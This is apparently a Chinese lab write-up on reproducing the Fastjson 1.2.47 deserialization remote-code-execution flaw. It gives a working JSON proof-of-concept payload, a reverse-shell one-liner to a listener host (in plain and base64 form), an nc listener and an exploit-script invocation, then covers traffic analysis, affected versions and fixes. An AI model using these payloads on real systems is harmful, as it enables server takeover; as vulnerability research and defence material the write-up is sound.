fastjson漏洞简介

Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令执行漏洞,攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。

fastjson漏洞原理

先来分析fastjson 1.2.47的POC

{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://x.x.x.x:8080/Exphub",
"autoCommit": true
}
}

对fastjson版本小于1.2.48的版本通杀,autoType为关闭状态也可使用。

loadClass中默认cache设置为true,利用分为2步执行,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类,绕过了黑名单机制

该payload会利用fastjson的反序列化漏洞去指定的rmi/ldap服务进行远程方法调用

若要进行远程命令执行则需现构造一个恶意的rmi或者ldap,在其中设定要执行的命令,之后利用fastjson反序列化漏洞去使用我们构造的rmi/ldap,最终在fastjson服务器中执行我们在rmi/ldap中指定的命令,故该远程命令执行无法回显,但是仍然可以进行反弹shell(Linux)

除了rmi/ldap构造恶意类,还需要另其一个http服务提供具体的恶意类+要执行的命令,整体流程如下:

详情查看secquan-Fastjson 1.2.24-1.2.47全漏洞RCE

Fastjson漏洞环境搭建

  • 主机A含有Fastjson漏洞环境 IP地址192.168.2.101
  • 主机B含有恶意java类 IP地址192.168.2.102
  • 主机C含有RMI服务 IP地址192.168.2.102
  • 接收反弹shell-kali-linux IP地址192.168.2.103

主机A搭建含有fastjson1.2.47-rce漏洞环境

Fastjson漏洞环境复现

工具下载

fastjson_tool.jar
fastjson-1.2.47_rce.py

反弹shell

  • kali-linux执行nc监听6666端口
nc -lvp 6666

  • 主机B开启RMI服务,加载远程恶意java类
bash -i >& /dev/tcp/192.168.2.103/6666 0>&1 //转成bash能执行的格式如下,
java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.2.102 9998 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAzLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

  • 发送利用fastjson反序列化漏洞使靶机执行RMI服务的恶意java类执行远程命令
python3 fastjson-1.2.47_rce.py http://192.168.2.101:8090 rmi://192.168.2.102:9998/Object

  • 反弹shell成功

fastjson漏洞攻击流量分析

  • 先从HTTP请求入手,可以看到HTTP发送POC服务器返回状态码400,其中有构造的开启RMI服务的IP地址192.168.2.102

  • 流量可以看到远程调用成功执行Object.class恶意类

  • 执行命令服务器返回的信息

fastjson漏洞影响版本

  • fastjson-1.2.24_rce.py Fastjson <=1.2.24 反序列化远程命令执行漏洞
  • fastjson-1.2.41_rce.py Fastjson <=1.2.41 反序列化远程命令执行漏洞
  • fastjson-1.2.42_rce.py Fastjson <=1.2.42 反序列化远程命令执行漏洞
  • fastjson-1.2.43_rce.py Fastjson <=1.2.43 反序列化远程命令执行漏洞
  • fastjson-1.2.45_rce.py Fastjson <=1.2.45 反序列化远程命令执行漏洞
  • fastjson-1.2.47_rce.py Fastjson <=1.2.47 反序列化远程命令执行漏洞
  • fastjson-1.2.62_rce.py Fastjson <=1.2.62 反序列化远程命令执行漏洞
  • fastjson-1.2.66_rce.py Fastjson <=1.2.66 反序列化远程命令执行漏洞

fastjson漏洞修复措施

升级到 1.2.51 以上,并推荐关闭Autotype 详细升级方法可参见漏洞修复措施

fastjson漏洞参考链接

cnblogs-关于FASTJSON 1.2.24 反序列化导致任意命令执行漏洞

阿里fastjson漏洞公告

Fastjson 1.2.24-1.2.47全漏洞RCE

声明

严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合!

Fastjson远程代码执行漏洞复现的更多相关文章

  1. Tomcat/7.0.81 远程代码执行漏洞复现

    Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...

  2. IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现

    CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...

  3. IIS6远程代码执行漏洞复现CVE-2017-7269

    简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ...

  4. Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御

    摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...

  5. Apache log4j2 远程代码执行漏洞复现👻

    Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...

  6. PHP远程代码执行漏洞复现(CVE-2019-11043)

    漏洞描述 CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码. 向Nginx + PHP-FPM的服务 ...

  7. SMBv3远程代码执行漏洞复现(CVE-2020-0796)

    漏洞基本信息 服务器消息块(SMB),是一个网络通信协议,用于提供共享访问到文件,打印机和串行端口的节点之间的网络上.它还提供了经过身份验证的进程间通信机制.SMB的大多数用法涉及运行Microsof ...

  8. CVE-2019-11043 Nginx PHP 远程代码执行漏洞复现

    漏洞背景:来自Wallarm的安全研究员Andrew Danau在9月14-16号举办的Real World CTF中,意外的向服务器发送%0a(换行符)时,服务器返回异常信息.由此发现了这个0day ...

  9. Spring Framework远程代码执行漏洞复现(CVE-2022-22965)

    1.漏洞描述 漏洞名称 Spring Framework远程代码执行漏洞 公开时间 2022-03-29 更新时间 2022-03-31 CVE编号 CVE-2022-22965 其他编号 QVD-2 ...

随机推荐

  1. Java中<?>,<? extends E>,<? super E>

    在集合中,经常可看到<?>,<? extends E>,<? super E>,它们都是属于泛型: <?>: 是泛型通配符,任意类型,如果没有明确,那么 ...

  2. C#番外篇-SpinWait

    SpinWait封装常见旋转逻辑.在单处理器计算机上,始终使用 "生成" 而不是 "繁忙等待",在装有超线程技术的 Intel 处理器的计算机上,这有助于防止硬 ...

  3. ES2020链判断运算符?.和Null判断运算符??

    链判断运算符 ?.  业务场景: 1 // 假设data是个数组,如果data没有值,为undefinded,则直接复制会报错,因为没有length这个属性 2 3 const dateCount = ...

  4. 批量安装Zabbix_Agent

    使用自动化部署工具Ansible批量部署zabbix_agent. 1. 安装Ansible yum –y install ansible 内网情况下,现在ansible及其依赖的rpm包,添加到yu ...

  5. abp(net core)+easyui+efcore实现仓储管理系统——出库管理之四(五十三)

    abp(net core)+easyui+efcore实现仓储管理系统目录 abp(net core)+easyui+efcore实现仓储管理系统--ABP总体介绍(一) abp(net core)+ ...

  6. STM32入门系列-STM32最小系统介绍

    STM32最小系统组成 单片机最小系统,也就是能够使得单片机正常运行程序,最少需要连接哪些器件.一般来说,STM32最小系统由四部分组成: 电源电路 复位电路 晶振电路 下载电路 STM32单片机由A ...

  7. Vue项目入门实例

    前言 本文记录Vue2.x + Element-UI + TypeScript语法入门实例 为什么要用TypeScript? 1.TypeScript是JavaScript的超集,利用es6语法,实现 ...

  8. 《Clojure编程》笔记 第16章 Clojure与web

    目录 背景简述 第16章 Clojure与web 16.1 术语 16.2 Clojure栈 16.3 基石:Ring 16.3.1 请求与应答 16.3.2 适配函数 16.3.3 处理函数 16. ...

  9. 关于C中指针的引用,解引用与脱去解引用

    *,& 在指针操作中的意义 (1)* 大家都知道在写int *p 时,*可以声明一个指针.很少人知道*在C/C++中还有一个名字就是"解引用".他的意思就是解释引用,说的通 ...

  10. Centos7系统kvm虚机忘记密码进不去, 通过宿主机修改/etc/shadow文件改密码,重启后系统起不来故障排错

    问题描述 某天, 因为其他项目组交接问题, kvm里面的堡垒机系统用户root密码登录不上,然后他通过宿主机修改/etc/shadow文件修改密码,但是修改完后重启系统后发现kvm宿主机连接不上虚机了 ...